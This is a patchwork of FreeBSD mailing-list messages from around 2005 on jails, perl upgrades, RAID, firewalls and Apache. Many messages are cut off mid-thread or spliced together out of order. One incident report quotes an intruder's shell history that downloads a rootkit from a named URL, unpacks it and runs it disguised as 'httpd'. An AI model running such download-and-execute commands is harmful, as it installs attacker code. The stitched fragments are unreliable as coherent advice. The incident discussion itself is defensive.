Thanks for your reply.

I put those lines in my jail startup script, substituting my own path
to the jail, but 'devfs_domount and 'devfs_set_ruleset' seem to be
missing, and I still get the same error for the 'devfs -m ...'
command;

devfs_domount: not found
devfs_set_ruleset: not found
devfs rule: ioctl DEVFSIO_SAPPLY: Inappropriate ioctl for device

I've searched my system and can't find 'devfs_domount' or 'devfs_set_ruleset'.

Maybe you could attach a file showing what devices are created with
these commands, and i'll just write a line to delete the uneeded
devices in startup script.

This is really frustrating me :)

Instead of portsdb -Uu, do make fetchindex in /usr/ports, then do
portsdb -u by itself.

Re: vinum in 4.x poor performer?

 Is there a command that I can run that provide me the syscall/sec value, 
 that I could use in a script?  I know vmstat reports it, but is there an 
 easier way the having to parse the output? a perl module maybe, that 
 already does it?

vmstat shouldn't be too hard to parse, try the following:

vmstat|tail -1|awk '{print $15;}'

To print out the 15th field of vmstat.  Now if you want vmstat to keep
running every five seconds or something, it's a little more complicated:

vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}'

 , it looks like your disks aren't being touched at all.  You are doing
 over 9 syscalls/second, though, which is mighty high.  The 50% Sys
 doesn't look good either.  You may have a runaway process doing some
 syscall over and over.  If this is not an MPSAFE syscall (see
 /sys/kern/syscalls.master ), it will also prevent other processes from
 making non-MPSAFE syscalls, and in 4.x that's most of them.
 
 Wow, that actually pointed me in the right direction, I think ... I just 
 killed an http process that was using alot of CPU, and syscalls drop'd 
 down to a numeric value again ... I'm still curious as to why this only 
 seem sto affect my Dual-Xeon box though :(

Try doing a make clean in the port directory and starting over.  If that

 Sorry if this is not quite the place to ask however, if it is not can
 someone point me toward the right resource (on the net) for answers. I
 am
 running FreeBSD on a box with an ethernet;
 ifconfig
 em0: flags=8843UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST mtu 1500
 options=1bRXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING
 inet ???.???.???.151 netmask 0x broadcast 10.50.255.255

 ether 00:30:48:2c:76:e2
 media: Ethernet 100baseTX full-duplex
 status: active
 
 the ??? are just our ips. you will notice that .152 and .153 are
 aliases
 and are mapped to external ips via a switch. my question is how can I
 resolve names to the ip aliases on the box? ie
 
 ???.???.???.152 - a.net
 
 and
 
 ???.???.???.153 - b.net
 
 is this a /etc/hosts kind of entry?
 
 ???.???.???.152web1.a.net web1
 ???.???.???.152web1.a.net.
 ???.???.???.153web1.b.net web1
 ???.???.???.153web1.b.net.

I'm assuming the ???'s in the hosts file are 10.50.1, right?

Remove the 2nd and 4th lines, and that the alias web1 occurs twice is bad.
Otherwise it should be fine.

 
 any help would be greatly appreciated!

Failures after upgrading perl

[Jim Hatfield]

I have a 4.7-based system I use as a mail gateway. Yesterday I
did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that
I have no incoming mail, due to mimedefang no longer functioning:

Feb  9 09:56:39 highland mimedefang-multiplexor[91186]: Slave 0 stderr: Can't

/usr/local/lib/perl5/site_perl/5.6.1/MIME/Words.pm line 85. BEGIN 
failed--compilation aborted at /usr/local/lib/perl5/site_per

But pkg_info shows p5-MIME-Base64 as present!
And it is, but not on any of the directories on the @INC path:

highland# find /usr/local/lib -name Base64.pm -print
/usr/local/lib/perl5/site_perl/5.6.1/mach/MIME/Base64.pm
/usr/local/lib/perl5/site_perl/5.6.1/MIME/Decoder/Base64.pm

If I try a portupgrade -f it seems to get confused about perl
versions:

highland# portupgrade -f p5-MIME-Base64

It seems to think it's dependent on perl 5.6.1, which isn't present,
then wants to install 5.6.2, which is already installed.

Do I have to remove and reinstall all the perl addons due to the
upgrade of the perl version?

And what's the mach directory for?

You should read UPDATING in your ports directory, there you'll find the 
instructions on how to update perl:

20050201:
  AFFECTS: users of lang/perl5 and lang/perl5.8
  lang/perl5 has been updated to 5.6.2, and lang/perl5.8 has been
  updated to 5.8.6. you should update everything depending on perl, that
  is:
* first, upgrade your perl installation (use either lang/perl5 or
  lang/perl5.8, the latter being recommended);
* for FreeBSD 4.X, run use.perl port, so that the system knows you
  have 5.8.6 or 5.6.2;  this step is not needed on FreeBSD 5.X and
  FreeBSD -CURRENT;
* run some magic incantations to upgrade all ports depending on perl,
  that is run something like :
  portupgrade -f `(pkg_info -R perl-5\* |tail +4; \
find /usr/local/lib/perl5/site_perl/5.[68].[1245] -type f -print0 \
| xargs -0 pkg_which -fv | sed -e '/: ?/d' -e 's/.*: //')|sort -u`
  This is likely to fail for a few ports, you'll have to upgrade them
  afterwards by hand.
Cheers, Erik

 I already tried uninstalling realplayer and gdk-pixbuf using make 
 deinstall and make reinstall in those ports.  I installed realplayer 
 from ports.  How can I install linux-base-rh-9?  I would like to try that.

Here's an idea, since linux_base is already installed, try:

portupgrade -o emulators/linux_base-rh-9 /var/db/pkg/linux_base-*

This tells portupgrade to upgrade the linux_base port, but use the
origin for the rh9 version.  I'm not certain this will work, but it's
worth a try.  I just did a pkg_create -b linux_base-* to make a backup,
then pkg_delete -f linux_base-* and portinstall emulators/linux_base-rh-9.

 
 thanks

  What if I wanted to put up a page of emails that I wrote and sent to,
  say, the freebsd questions mailing list.  Since they are
  replies to other
  peoples emails, it includes bits of what they wrote, but it may be
  relavent to understanding my reply.  Now, of course I'll remove all
  headers and mangle all email addresses, but, since it includes their
  ideas, can I still post it on a website for others to read who may be
  having the same problems?
 
 
 This is called making a collection, and strictly you are supposed to
 get permission from each person to include what they say.
 
 However, in this case, it is most likely each person is just repeating
 to your answer some response they heard from someone else, or got from
 a manual, or some such.  For example you post asking for an example of
 a /etc/printcap and someone replies - while technically that's his
 copyrighted material, if he simply copies an example already in the
 /etc/printcap file with a few explanations, it's not his copyrighted
 material since it belongs to the BSD copyight - except that the
 BSD copyright allows you to do this

Actually, I was referring more to the idea of posting my responces to
other people questions.  For instance, I recently posted several
responces for the thread about xhost and x authentication explaining in
detail how x auth works.  Now if questions come up again here or
elsewhere, I don't want to have to repost everything I wrote, just refer
to a url.  Some of it I do plan to rewrite, but I haven't had time to
rewrite all the emails I think would be useful to post.  Since there
usually available in some form in an archive, I thought it would be
convient to just archive them on my site as well.  All the emails are
ones that I've sent, but include quoted text from the original email.

 
 It is far better to simply rewrite the responses that you get, besides
 making them more cohesive and easier to understand, when you do this
 you avoid the copyright issue.  Ideas cannot be copyrighted -
 for example I can see a SpongeBob Squarepants cartoon where the
 Sponge gets flushed and jams the crapper - I can then write a story about
 a talking toilet brush that gets flushed and jams the crapper - no
 infringement there.  That is after all how 99% of television writing is
 done today.  Ideas can be patented though and images can be trademarked.
 So I best make sure the toilet brush in my story doesen't look yellow,
 spongey and square.

Re: 16MB memory requirement for 5.3 install (Re: cracked outfloppy install)

I think it is a bug because there are some boneheaded older systems

without recompiling the kernel.
I have just submitted a bug report. I am wainting for the confirmation.

firefox creating oddly named profile directories

[Dick Davies]

anyone else seeing this?

I rebuilt my laptop yesterday after an 'incident'
(tip of the week; don't mix up ad0 and da0) and rsynced bacx
/etc /home and /root, then pkg_add -r'ed my way back to a desktop
without too much bother.

But firefox (latest one with the hole, 1.0.7mumblemumble)
refuses to use the old ~/.mozilla/firefox profile folder,
instead it creates 4 new ones with gibberish names (start with .h
and then unprintable characters).

Anyone have a clue why?

FreeBSD 4.10 and Apache 2.0.5x: setting limits

[Sander Holthaus - Orange XL]

You can set the limits (ulimit) for Apache 2 through a variable
(apache2limits_args enabled by apache2limits_enable) in rc.conf. If enabled,
it uses, by default, the limits for login-class daemon as found in
/etc/login.class;
 
daemon:\
   :coredumpsize@:\
   :coredumpsize-cur=0:\
   :datasize=infinity:\
   :datasize-cur@:\
   :maxproc=512:\
   :maxproc-cur@:\
   :memoryuse-cur=64M:\
   :memorylocked-cur=64M:\
   :openfiles=1024:\
   :openfiles-cur@:\
   :stacksize=16M:\
   :stacksize-cur@:\
   :tc=default:

 
I take it these settings are quite general, and may not be sufficient (to
restrictive or not). So I was wondering what kind of limits other users are
using. And how those settings scale or depend on various configurations?
 
Googling, or Apache: Definitive Reference / Apache Cookbook do not seem to
provide any clues here :-(
 
Kind Regards,
Sander Holthaus

Re: httpd in /tmp - Sound advice sought

 I had register_globals on in PHP for a month+ because a reservation system
 I was using required them.  I now know better.  We also had php errors set
 to display for a while as bugs were being worked out.
 
 The owner of this file is www, so it was put in /tmp by the apache daemon.
 I messed the file up trying to tar it, so I can't get a good md5.
 Register globals and php file uploads are both off now.  I don't think the
 system was compromised because anything written to /tmp (which is the temp
 dir php defaults to) could not be executed.
 
 Do you think we're safe to continue as is?


this person is telling you that slapper is nothing to worry about because it's 
a linux only virus - but if you didn't put httpd in /tmp then you should be 
worried about this situation.

this is probably your call what you want to do.
 
 Also, I would like to talk with you about what preventative measures you
 take with herald.  I know you run tripwire, but what else do you do on a
 regular basis?

 Slapper is a linux only virus.  You shouldn't have to worry about it
 doing harm on your freebsd machine.  Seeing as the binary was in your
 tmp directory on your system, and that you might have not placed it
 there, this could be a good reason for a host of other things to look
 into.  The httpd binary with 96d= ssl is not a virus itself, just a
 means to carry out the exploit.  The slapper virus is a bunch of c-code
 that is put in your tmp directory and the exploit allows one to compile,
 chmod, and execute the code, leaving open a backdoor.
 
 chrootkit does scan for the comparable scalper virus which is a freebsd
 cousin to the slapper (in that they attempt to exploit the machine via
 the apache conduit.)
 
 I would think real hard, if you did put the httpd binary in there.  If
 you are sure you didn't, and you are the only one with access to the
 system, then I would be very very worried.  Running tripwire and
 chrootkit on a periodic basis should help.  Re-installing the os isn't
 your only solution, but it does give comfort knowing that after a
 reinstall, and locking down the box, no one has a in on your system.
 This could be overboard though.
 
 You also might want to consider enabling the clean_tmp scripts.  Next
 time tar up those suspicious files, a quick forensics on them can do
 wonders (md5sum, timestamps, ownership, permissions.)

   daemon. I messed the file up trying to tar it, so I can't get a good
   md5. Register globals and php file uploads are both off now.  I don't
   think the system was compromised because anything written to /tmp
   (which is the temp dir php defaults to) could not be executed.
  
   Do you think we're safe to continue as is?
  
 
  this person is telling you that slapper is nothing to worry about
  because it's a linux only virus - but if you didn't put httpd in /tmp
  then you should be worried about this situation.
 
  this is probably your call what you want to do.
 
   Also, I would like to talk with you about what preventative measures
   you take with herald.  I know you run tripwire, but what else do you
   do on a regular basis?
  
 
  one thing i do is i read /var/log/messages every day.  do you do that?

   Slapper is a linux only virus.  You shouldn't have to worry about it
   doing harm on your freebsd machine.  Seeing as the binary was in your
   tmp directory on your system, and that you might have not placed it
   there, this could be a good reason for a host of other things to look
   into.  The httpd binary with 96d= ssl is not a virus itself, just a

It appears that you are running a custom update script, would help if 
you published it. And try run it by hand, it should be located in 
/etc/periodic/security or similar. Then send whatever debug info you can 
deduce from the output.

About cvsup

[Soheil Hassas Yeganeh]

Dear All,

Some newbie question to ask:
I want to update my kernel sources on 5.3-Release.
I have used cvsup with src-sys uncommented on the supfile. After it
finishes its job, it just creates the ,v and Attic files and  no
update is happend on my sources. There are even new files (,v) and no
file creation is happend.
 
I just see the ,v files when cvsup finishes its jobs and says finished
successfully. And in the ,v file i can see the changes.

What i can do to update my kernel files? Did I have to build the world ?

Soheil

You didn't set tag, eg. tag=RELENG_5 without a tag cvsup will fetch you 
a copy of the repository rather than a snapshot (AFAIK). Also, you may 
prefer to cvsup src-all rather than just src-sys to get sources for 
building world.

That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway.
The 16M you cite below seems a bit meager.
well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 should 
be fine.  but even if it weren't, you'd think there'd be some form of useful 
error message instead of just rebooting.  it just makes no sense.

Interestingly, the Installation Notes for 4.11-R, 
http://www.freebsd.org/releases/4.11R/installation-i386.html state, in 
section 1.2 Hardware Requirements, The sysinstall(8) installation 
program requires 16MB of RAM

Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I 
find that hard to believe.

Re: httpd in /tmp - Sound advice sought

[Oliver Leitner]

i know a certain hacking group who is trying to run their trojan as httpd, i 
discovered that info through some shell account i am running, that has tried 
to start this rootkit on our machine.

heres a short view from the shell's history:

-
wget geocities.com/setan_maya/taek.tar.gz
cd ..
ls
cd ..
ls
cd tmp
ls
wget geocities.com/setan_maya/taek.tar.gz
tar zxvf taek.tar.gz
ls
cd taek
./httpd
chmod 755 httpd
./httpd
ls
cd ..
rm -rf taek
rm taek.tar.gz 
---

this clearly shows, that we have to do with a very dumb person, hence he

1. didnt cleaned his historyfile
2. left the tar.gz file in his homedir
3. loaded the rootkit from the same server he is running the group's webpage 
on.
4. has a link to their chan on that page, and in the chan as ive monitored 
for 48hrs, ive found them posting their successes directly and unencrypted.

I have informed a number of providers and hosters, that had their webpage 
posted into that chan, and informed them about the breakins, so far i got no 
message back from them.

of course, its a longshot, but they didnt seem to check first if the folder 
tmp has the executable bit set at all, and they named their client like the 
file youve found.

i hope this helps you further.

The handbook has a list of cvs tags in the appendix. You will want 
RELENG_5_3 or RELENG_5, choosing the latter and updating regularly will 
give a gradual upgrade.

You probably don't want . which is CURRENT, the bleeding edge (aka 
6.0-CURRENT), and may give you some surprises. The tag HEAD is a 
symbolic reference to .. At least, I suggest you wait jumping head

The DL590 is a multiprocessor Itanium machine; we just picked one up, and

determine ufs2 %fragmentation on mounted filesystem

[Nathan Kinkade]

Does anyone know of a way to determine the %fragmentation on a mounted
UFS2 filesystem?  An entry showed up in messages yesterday stating that
/usr has moved from time to space optimization yet the filesystem is
only at about 25% of it's capacity.  From what I can read it seems that
the kernel might also make this switch if fragmentation becomes
excessive.  However, this is a busy production machine running Squid, so
I can't conveniently umount /usr.

Thanks,

Firewall throughput question

[Darryl Hoar]

Greetings,
I have had a Freebsd firewall (Older computer with (1) 3com 10Mb 
ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card).  
The firewall croaked on me (motherboard died).  As a quick fix, 
I plugged in a Linksys BEFSX41.

My Question is, should I build a new Freebsd firewall or just 
continue using the Linksys ? Throughput and security are my 
concern.  I can have up to 20 machines on the LAN at one time
using the internet, so traffic throughput is a factor.

Anyway, my inclination is to build a new freebsd firewall, but 
don't want to do the  work if the Linksys is good enough.

Thanks for any ideas or suggestions.

-Darryl

Question

[.:PBS:. Medik]

Hello, My name is Marc.
I'll explain quickly my situation, some time ago I had downloaded 
freeBSD4.6.2 R (about 2 yrs ago)
I still have it today and proceeded to reinstalling it. I realize I should 
have grabbed the latest release, but alas for some reason I can't through 
my router. Yes I'm running a private network on windows, (for the time 
being until I can adequately configure freebsd as a server).

When I had gotten my first copy of freebsd (this release in question) I had 
taught myself how to use it. but this is over 2 yrs ago, and lots have 
melted away since. So in essence I'm again labelled a newbie. I tried 
re-building my kernel and was forced to reinstall the generic kernel, 
further more, I would also like to be able to install the Apache web 
server, I managed to get the Apache_1.3.33 but for some reason it wont 
compile (make), I have assumed that perhaps it was already compiled and 
tried to do a config or an install to it and still nothing.. what am I 
doing wrong?

Yes I have already literally downloaded and printed several man pages on 
multiple topics (over 180 pages worth)
and I still can't make heads or tails from it. I assume your time is 
limited as mine is, I'm a business owner with little time to dedicate to my 
personal project and I don't have anyone knowledgeable enough on hand to 
get any personal help. My question is this, would it be at all possible to 
have a form of 1 on 1 to resolve this issue?

I await your response eagerly.
Thank you greatly for any help you can provide.
Marc

Many people say, the only way to truly answer the traffic throughput question 
is test the
firewall you have under life conditions and see if it can handle what
the LAN throws at it.

As for security, that has imho more to do with setup than with
hardware used imho. Get hardware cryptographic accelerators if you need
that much and have the money to spent.

Are you trying to download iso's? on windows or freebsd machine? Does 
the download start and fails halfway? There are many things you can try: 
Try a different mirror, try using an ftp program rather than through 
your browser. You can download and burn the iso's both on windows and 
freebsd.

Are you installing from ports or have you downloaded the source from 
apache.org and try to install that following the included instructions? 
I suggest you use ports - it has all the patches to make the compilation 
 work on freebsd.

Yes I have already literally downloaded and printed several man pages on 
multiple topics (over 180 pages worth)
and I still can't make heads or tails from it.
The man-pages are for reference for how to use a particular command for 
a particular problem. You might want to start with the handbook to get 
heads and tail.

The handbook also shows you how to use ports, and how and where to get 
your copy of FBSD.

Re: maybe slightly OT - web content management kits

[Louis LeBlanc]

On 02/08/05 06:02 PM, Louis LeBlanc sat at the `puter and typed:
 I know this might be slightly OT, but I really only want to ask this
 question to those that use and maintain websites on FreeBSD anyway.  So
 please overlook the OT post.
 
 I'm trying to find a good website management system.  Content
 management.  I'm running Apache 2.0 with (among others) mod_perl2, (perl
 5.8.6) and Jakarta Tomcat 5.0.
 
 I don't have mod_php installed, and I'd just as soon not install it if I
 don't have to.  If it's the best option, then I'll bite the bullet.  I'd
 also like to stick with the server versions I already have installed.
 
 I've noticed slash in the ports, but it really wants Apache 1.3.x - as
 do many other similar apps in the ports.  Many others I've found also
 want mod_php.
 
 What I'm asking for is recommendations from people who have used and/or
 maintained multiple such packages on FreeBSD, what they thought about
 them.  Also, if anyone knows of any similar kits written in JSP, I'd be
 interested in checking them out.
 
 Finally, the server setup I have.  I know I'm running pretty close to
 the bleeding edge, but are there any of these packages out there that
 are ok on Apache 2.0?


Ok, I know I'm answering my own post again, but I've found a very good
resource for this kind of info.  Just in case anyone is interested, it's
at http://www.opensourcecms.com/

They have an extensive, if not exhaustive list of CMS webware projects,
and even have an excellent cross project comparison matrix by feature.

I'm probably going to try a few out, since there's only a couple in the
ports.  Among my top candidates are Mambo, geeklog (in ports), drupal
(also in ports), opencms, Etomite, and Magnolia.

If I find one I really really like, that's not in ports, I may try my
hand at submitting and supporting a port.  We'll see.

you're right.  i found it yesterday.  the installer actually requires more ram 
than it takes to run the operating system itself.  i was working from the 
assumption that the installer required what the o/s required.  my bad.

i think this weekend i'm just going to transplant the hard drive into another 
machine to do the install.  it saves me the headaches that come with floppies 
and it'll likely be a whole lot faster.

thanks for all your input though.  as a gentoo guy, i guess i have a lot to 
learn about freebsd yet.

I had already tried dumpfs, but couldn't find any information about
actual filesystem fragmentation in the output.  Erik's suggestion of
running `# fsck -t ufs2 /usr` seemed to work, though I felt a little
skittish about running it on a live filesystem.  It found numerous
errors and auto-answered no for all of them, though I never specified
that it should do that.  Does fsck just do this by default on a mounted
filesystem?  Also, I had tried running fsck manually earlier and the
only difference between what I did and Erik's suggestion was the -t
option, which I wouldn't think should have been necessary.  Shouldn't
fsck be able to determine the fs type by looking at the superblock?

By the way, the fragmentation was as 5.1%.  Quite high, and I'm
wondering how it got that way?  Squid?

Thanks,
Nathan

 the actual apache httpd.  And I don't back up /tmp.

 The only info I can find regarding this file being in /tmp pertains to

Re: httpd in /tmp - Sound advice sought

[Oliver Leitner]

not from the log output you just showed, id look back further on the 
webserver logs, and also take a look on other running processes on your 
server, ps auxf ...

other good tools to find installed rootkits:

rkhunter (youll find that in the ports collection, at least on a 5.3)
sockstat.c (easy to find via google)
and have a close look into your /proc fs, in case you have a procfs mounted.

also check your webserver for world writeable directories, and for cross site 
scripting problems, that wget was called from the webserver looks like some 
kind of bug in a script, that is used by a webpage, that the attacker tried 
to use...

Re: determine ufs2 %fragmentation on mounted filesystem

On Wednesday 09 February 2005 19:30, Nathan Kinkade wrote:

 I had already tried dumpfs, but couldn't find any information about
 actual filesystem fragmentation in the output.  Erik's suggestion of
 running `# fsck -t ufs2 /usr` seemed to work, though I felt a little
 skittish about running it on a live filesystem.  
You can(must) use mksnap_ffs to take a snapshot and fsck that. Note that
snapshots are meant to be read-only, so fsck -n, mount -r etc...

 It found numerous 
 errors and auto-answered no for all of them, though I never specified
 that it should do that.  Does fsck just do this by default on a mounted
 filesystem?  Also, I had tried running fsck manually earlier and the
 only difference between what I did and Erik's suggestion was the -t
 option, which I wouldn't think should have been necessary.  Shouldn't
 fsck be able to determine the fs type by looking at the superblock?

 By the way, the fragmentation was as 5.1%.  Quite high, and I'm
 wondering how it got that way?  Squid?

Come on, of course a software solution will be slower than an hardware
solution. What would you expect? :))
(Given it is same disk type/speed/controler...)
 

Usually this is the case, but it's also very dependent on the hardware 
raid controller.  There are situations where a software raid (vinum in 
this case) can outperform some hardward controlers under specific 
circumstances, i.e. sequential reads w/very large stripe size.  An 
example is an image server where the average image might be 3MB.  A 
stripe size of 434kB would cause ~7 transfers of data.  A case for a 
larger stripe size of 5MB would greatly improve performance.  There 
would be an 2MB diff in the avg file size that doesn't have any useable 
data.  Only 1 transfer of data would occur.  Vinum optimizes the data 
transfered to the exact 3MB of the file, whereas some hardware controls 
would transfer the whole 5MB stripe, adding some bandwidth latency and 
transfer time.  Again, it's a matter of specific cases, and assuming 
'performance' based on differing conduits for data transfer can just 
skirt the real issue, if there is any.

[Oliver Leitner]

well, i am quite new to freebsd, one of the things that got me curious enough 
to give it a try was the current logo, i like the beastie, it just has the 
perfect all around look, so why change it?

never change a running system

Re: Firewall throughput question

Darryl Hoar wrote:
Greetings,
I have had a Freebsd firewall (Older computer with (1) 3com 10Mb

The firewall croaked on me (motherboard died).  As a quick fix, 
I plugged in a Linksys BEFSX41.

My Question is, should I build a new Freebsd firewall or just 
continue using the Linksys ? Throughput and security are my 
concern.  I can have up to 20 machines on the LAN at one time
using the internet, so traffic throughput is a factor.

Anyway, my inclination is to build a new freebsd firewall, but 
don't want to do the  work if the Linksys is good enough.

Thanks for any ideas or suggestions.
How old are those 3com cards?
I think the most important area to look at is guaging how much packet 
loss will occur under these high loads.  And that in-of-itself might 
appear differently in one type of traffic and not others, i.e. vpn, ssh, 
encrypted traffic, ssl.  Also, how well and quick a device can handle 
packet loss can be determined by newer equipment (new linksys router) 
handling packets that come over the wire verses and older 3com card with 
aging firmware.

It's a toss up that's hard to make a definative suggestion... unless you 
can do what Hexren mentioned and pit them against each other.  That 
would be the easiest way to appease your needs.

I like the daemon, and would like it to remain FreeBSD's mascot.  
However, I don't see a problem with separating the logo from the 
mascot.  

A decent example of this is Slackware's logo, which is separate from 
their pipe smoking penguin.  Check out both the Serious Slackware and 
Got Slack t-shirts at the link below.  Each t-shirt represents 
Slackware in a different light.  Both are still correct; but one is 
certainly more business friendly.

http://store.slackware.com/cgi-bin/store/search?id=sPyZ7iNL:mv_pc=229

Having a professional looking logo would make advocacy easier.  People 
do have their prejudices; and if people misunderstand the daemon, then 
it is not representing FreeBSD effectively.  We should be able to have 
both without feeling like we sold out.

I'll stop here and sign up for the advocacy mailing list.

Re: Question

[.:PBS:. Medik]

Thank you for replying so quickly.
And to further tell you my problem here goes:
I installed my copy of 4.6.2 cleanly on a machine, to avoid having to find 
myself looking for more ports and programs to install I did a complete 
installation without bothering with the configuration of Xwindows ( as I 
will be accessing this box from SSH on a windows machine) so I don't need 
the XFREE86 or however its called, hehe. So in essence this is all being 
fine tuned by remote on LAN.

To answer your question about whether I'm downloading .iso, no I did that 
for the first copy of the OS only and made a cd copy from windows yes. But 
all further ports I grab are *.tar.gz straight from Apache.org yes and then 
ftp'd into my bsd box. I can unzip them fine then I'm stuck with the tar to 
which I believe I 'untared' it correctly that now I have an apache_1.3.33 
folder, which to me seems fine, but I don't believe I put it in the right 
directory tree.

Also I have printed out the better part of the FBSD handbook, but right now 
I think I'm having an info overload. I've been at this for roughly 2 weeks 
now, out of stubbornness I didn't wish to disturb anyone with this, but my 
buddy who tutored me way back when has since gone away.

I can supply you with more info if you wish, as this is perhaps only the 
tip of my iceburg.. :)
Thanks again,

NFS File Locking across multiple machines

[Tim Traver]

Hi all,
a couple of years back, we ran into a problem with the FreeBSD NFS code 
where file locks were not seen by other machines.

We use Netapp disk hardware to mount NFS filesystems to our FreeBSD 
systems. In the past, two different machines would not recognize locks 
from each other, and would sometimes cause file collisions.

From the same machine, two different processes would recognize locks 
without a problem.

In our experience, the Sun servers that we had also did not have any 
problems. This was after creating specific tests to make this determination.

We reported it to the freebsd developers way back when, and have lost 
track as to the status of the issue.

Does anyone on this list know of the developer that was developing the 
NFS code ??? or know anything about the issue ??? or have an answer ??? ;)

I'd like to talk to him/her to see what the status is in the later 
FreeBSD 4.x series as well as 5.x

Thanks,
Tim.

You should use the Linksys if you are comfortable with it. It does use 
less electricity.

If you are really concerned with security and perforance, I recommend at 
least 500 MHz and 256 MB RAM. I have used Intel/3Com cards and both are 
reliable. I recommend using PF though.

I am working on a replacement firewall right now. I am using a Sun Ultra 
5 (360MHz) with a quad ethernet card. It will be running OpenBSD and PF.
I may using FreeBSD though, because I want to use ntop and ntop does not 
work on OpenBSD.

Hope that helps.

You really need to install them from the ports to get that done for you.

Keep in mind that for some, you'll also need to put an enabler in
/etc/rc.conf, so watch the output after the port is installed.

BTW, any time there's a port for an application, it is generally
recommended that you use the port.  They are usually much easier to
install, upgrade, and if you wish, remove.

Good luck

For apache add ''apache_enable=YES'' to /etc/rc.conf
There should be apache.sh in /usr/local/etc/rc.d - the port installs it. 
How did you install apache?

Should be a similar method for spamd.

Thread/Signal problem with threaded python app on 5.3

[Payment Online]

I have a client/server application written in python/twisted and on
freebsd 5.3 the server won't shut down correctly with SIGINT or
SIGTERM, instead requiring a SIGKILL.  The twist is that if I send the
server a signal, it will shut down on the next request from the
client.  In that case it shuts down immediately when the client
connects and closes the connection before it's fully established.

The server will also shut down correctly if it hasn't yet accepted any
connections from a client.

 This is on freebsd 5.3-release-p2 with python 2.4 and twisted both
installed from ports.  I am using the default libpthreads and python
is compiled to use threads.  I tested it on Debian (sarge) and the
signals work fine.

It's like there is some sort of event loop that isn't working
correctly.  Freebsd is obviously getting the signal, but it doesn't
act on it until another request comes in from the client.  Also for
those that aren't familiar with twisted this application opens a
thread for every request.

Below is some simple code that will run if you have twisted.  Sorry I
don't have a more simple test case, but I'm fairly new to python (and
threads), and writing something from scratch would take a while.

Re: Please don't change Beastie to another crap logo such as NetBSD!!!

[Guillermo Garcia-Rojas]

I think we all are happy with beastie, there is no reason to change
it, if some idiots think it's evil, that's their problem.

I hope no one sends a new logo for the contest, and if what FreeBSD
Project wants is a new FreeBSD type of font, or style, then do it,
but don't blow beastie away.

It would be better to give beastie a BSD license :)

  Come on now, is changing the logo ALL that BAD? Companies and
  organizations do it all the time. Who cares? It's not like a new logo
  will introduce new bugs and vulnerabilities in your OS!
 
  Change is good. Time to try something different. I think some folks
  should relax and not get too upset. There are worse things going on in
  the world...
 
  ...my 2 cents...

Hello,
I have installed apache and spamd from source and would like for them to start

Thanks for your time.

Scripts are great, but in a pinch you can add entries to
root's crontab using @reboot in place of the usual fields
for min-hour-day and friends...
I've used this before when installing from source:
@reboot /usr/local/sbin/apachectl start

jail manpage

[Josh Paetzel]

I've been trying get jails working on my 5.3-RELEASE-p2 machine.  I've 
tried following the instructions in man 8 jail

D=/here/is/the/jail
cd /usr/src
mkdir -p $D
make world DESTDIR=$D
cd etc
make distribution DESTDIR=$D
mount_devfs devfs $D/dev
cd $D
ln -sf dev/null kernel

It dies at make world DESTDIR=$D with the following error:

cc -0 -pipe -I/usr/obj/usr/src/i386/legacy/usr/include
c/usr/src/games/fortune/strfile/strfile.c
 
make: don't know how to make /jail/test/usr/lib/libc.a. Stop
***Error code 2
Stopping /usr/src

Surprisingly I found a post to -questions that has the exact same 
error using the same commands that I did.  The thread never does make 
clear as to whether the poster got it working.

I found a tutorial @ 
http://www.samag.com/documents/s=1151/sam0105d/0105d.htm

D=/home/jpaetzel/jail
cd /usr/src
make hierarchy DESTDIR=$D
make obj
make depend
make all
make install DESTDIR=$D
cd $D
ln -sf dev/null kernel
ifconfig fxp0 alias 10.0.0.11 netmask 255.255.255.255

start the jail:
jail /home/jpaetzel/jail jail.tcbug.org /bin/sh

I'm still unclear on how to start the jail at boot time

I put the following into /etc/rc.conf

jail_enable=YES
jail_list=vjail
jail_vjail_rootdir=/home/jpaetzel/jail
jail_vjail_hostname=jail.tcbug.org
jail_vjail_ip=10.0.0.11
jail_vjail_exec=/bin/sh /etc/rc

As far as I  can tell jail is not starting at boot time.

I know I'm sort of rambling (I'm trying to document as I go here) if 
someone can spot my mistakes I'd appreciate it. :)

It's worth pointing out that your performance on the raid-5 can change for 
the better if you avoid having the stripe size be a power of 2.  This is 
especially true if the (n)umber of disks are a 2^n.
I read that somewhere, but then every example shows 256k as being the 
strip size :(  Now, with a 5 drives RAID5 array (which I'll be moving that 
server to over the next couple of weeks), 256k isn't an issue?  or is 
there something better i should set it to?
